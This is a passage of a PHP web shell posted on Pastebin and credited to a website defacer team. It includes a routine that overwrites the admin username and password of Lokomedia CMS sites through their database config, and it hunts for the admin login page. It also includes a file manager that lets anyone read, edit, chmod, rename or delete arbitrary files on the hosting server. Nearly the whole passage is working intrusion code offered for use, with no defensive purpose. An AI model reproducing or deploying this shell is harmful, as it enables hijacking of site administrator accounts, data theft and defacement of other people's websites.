  1361.                     if($target == '') {
  1362.                         $target2 = $result[url];
  1363.                         $url_target = "Login => <font color=lime>error, gabisa ambil nama domain nyaa</font><br>";
  1364.                         if($target2 == '') {
  1365.                             $url_target2 = "Login => <font color=lime>error, gabisa ambil nama domain nyaa</font><br>";
  1366.                         } else {
  1367.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1368.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1369.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1370.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1371.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1372.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1373.                             } else {
  1374.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=lime>gatau admin login nya dimana :p</font> ]<br>";
  1375.                             }
  1376.                         }
  1377.                     } else {
  1378.                         $cek_login = file_get_contents("$target/adminweb/");
  1379.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1380.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1381.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1382.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1383.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1384.                         } else {
  1385.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=lime>gatau admin login nya dimana :p</font> ]<br>";
  1386.                         }
  1387.                     }
  1388.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1389.                     echo "Config => ".$file_conf."<br>";
  1390.                     echo "CMS => Lokomedia<br>";
  1391.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1392.                         echo $url_target2;
  1393.                     } else {
  1394.                         echo $url_target;
  1395.                     }
  1396.                     if(!$update OR !$conn OR !$db) {
  1397.                         echo "Status => <font color=lime>".mysql_error()."</font><br><br>";
  1398.                     } else {
  1399.                         echo "Status => <font color=green>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1400.                     }
  1401.                     mysql_close($conn);
  1402.                 }
  1403.             }
  1404.         }
  1405.     } else {
  1406.         echo "<center>
  1407.         <h1>Auto Edit User Config</h1>
  1408.         <form method='post'>
  1409.         DIR Config: <br>
  1410.         <input type='text' size='50' name='config_dir' value='$path'><br><br>
  1411.         Set User & Pass: <br>
  1412.         <input type='text' name='user_baru' value='malaikat Galau' placeholder='user_baru'><br>
  1413.         <input type='text' name='pass_baru' value='malaikat Galau' placeholder='pass_baru'><br>
  1414.         <input type='submit' name='hajar' value='Edit' style='width: 215px;'>
  1415.         </form>";
  1416.     }
  1417. }elseif(isset($_GET['filesrc'])){
  1418. echo "<tr><td>Current File : ";
  1419. echo $_GET['filesrc'];
  1420. echo '</tr></td></table><br/>';
  1421. echo('<textarea cols="80" rows="20" readonly>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  1422. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  1423. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  1424. if($_POST['opt'] == 'chmod'){
  1425. if(isset($_POST['perm'])){
  1426. if(chmod($_POST['path'],$_POST['perm'])){
  1427. echo '<font color="green">Success !</font><br/>';
  1428. }else{
  1429. echo '<font color="lime">Denied !</font><br />';
  1430. }
  1431. }
  1432. echo '<form method="POST">
  1433. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  1434. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1435. <input type="hidden" name="opt" value="chmod">
  1436. <input type="submit" value="Go" />
  1437. </form>';
  1438. }
  1439. elseif($_POST['opt'] == 'rename'){
  1440. if(isset($_POST['newname'])){
  1441. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  1442. echo '<font color="green">Success !</font><br/>';
  1443. }else{
  1444. echo '<font color="lime">Denied !</font><br />';
  1445. }
  1446. $_POST['name'] = $_POST['newname'];
  1447. }
  1448. echo '<form method="POST">
  1449. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  1450. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1451. <input type="hidden" name="opt" value="rename">
  1452. <input type="submit" value="Go" />
  1453. </form>';
  1454. }elseif($_POST['opt'] == 'edit'){
  1455. if(isset($_POST['src'])){
  1456. $fp = fopen($_POST['path'],'w');
  1457. if(fwrite($fp,$_POST['src'])){
  1458. echo '<font color="green">Success !</font><br/>';
  1459. }else{
  1460. echo '<font color="lime">Denied !</font><br/>';
  1461. }
  1462. fclose($fp);
  1463. }
  1464. echo '<form method="POST">
  1465. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  1466. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1467. <input type="hidden" name="opt" value="edit">
  1468. <input type="submit" value="Save" />
  1469. </form>';
  1470. }
  1471. echo '</center>';
  1472. }else{
  1473. echo '</table><br/><center>';
  1474. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  1475. if($_POST['type'] == 'dir'){
  1476. if(rmdir($_POST['path'])){
  1477. echo '<font color="green">Success !</font><br/>';
  1478. }else{
  1479. echo '<font color="lime">Denied !                                                                                                             </font><br/>';
  1480. }
  1481. }elseif($_POST['type'] == 'file'){
  1482. if(unlink($_POST['path'])){
  1483. echo '<font color="green">Success</font><br/>';
  1484. }else{
  1485. echo '<font color="lime">Denied</font><br/>';
  1486. }
  1487. }
  1488. }
  1489. echo '</center>';
  1490. $scandir = scandir($path);
  1491. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  1492. <tr class="first">
  1493. <td><center>Name</center></td>
  1494. <td><center>Size</center></td>
  1495. <td><center>Permission</center></td>
  1496. <td><center>Action</center></td>
  1497. </tr>';
  1498.  
  1499. foreach($scandir as $dir){
  1500. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  1501. echo '<tr>
  1502. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  1503. <td><center>--</center></td>
  1504. <td><center>';
  1505. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  1506. elseif(!is_readable($path.'/'.$dir)) echo '<font color="lime">';
  1507. echo perms($path.'/'.$dir);
  1508. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  1509.  
  1510. echo '</center></td>
  1511. <td><center><form method="POST" action="?option&path='.$path.'">
  1512. <select name="opt">
  1513. <option value="">Select</option>
  1514. <option value="delete">Delete</option>
  1515. <option value="chmod">Chmod</option>
  1516. <option value="rename">Rename</option>
  1517. </select>
  1518. <input type="hidden" name="type" value="dir">
  1519. <input type="hidden" name="name" value="'.$dir.'">
  1520. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  1521. <input type="submit" value=">">
  1522. </form></center></td>
  1523. </tr>';
  1524. }
  1525. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  1526. foreach($scandir as $file){
  1527. if(!is_file($path.'/'.$file)) continue;
  1528. $size = filesize($path.'/'.$file)/1024;
  1529. $size = round($size,3);
  1530. if($size >= 1024){
  1531. $size = round($size/1024,2).' MB';
  1532. }else{
  1533. $size = $size.' KB';
  1534. }
  1535.  
  1536. echo '<tr>
  1537. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  1538. <td><center>'.$size.'</center></td>
  1539. <td><center>';
  1540. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  1541. elseif(!is_readable($path.'/'.$file)) echo '<font color="lime">';
  1542. echo perms($path.'/'.$file);
  1543. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  1544. echo '</center></td>
  1545. <td><center><form method="POST" action="?option&path='.$path.'">
  1546. <select name="opt">
  1547. <option value="">Select</option>
  1548. <option value="delete">Delete</option>
  1549. <option value="chmod">Chmod</option>
  1550. <option value="rename">Rename</option>
  1551. <option value="edit">Edit</option>
  1552. </select>
  1553. <input type="hidden" name="type" value="file">
  1554. <input type="hidden" name="name" value="'.$file.'">
  1555. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  1556. <input type="submit" value=">">
  1557. </form></center></td>
  1558. </tr>';
  1559. }
  1560. echo '</table>
  1561. </div>';
  1562. }
  1563. echo '<center><br/>Copyright &copy 2017 <a href="https://www.facebook.com/defacertersakititeam" target="_blank">malaikat Galau<</a></center>
  1564. </body>
  1565. </html>';
  1566. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!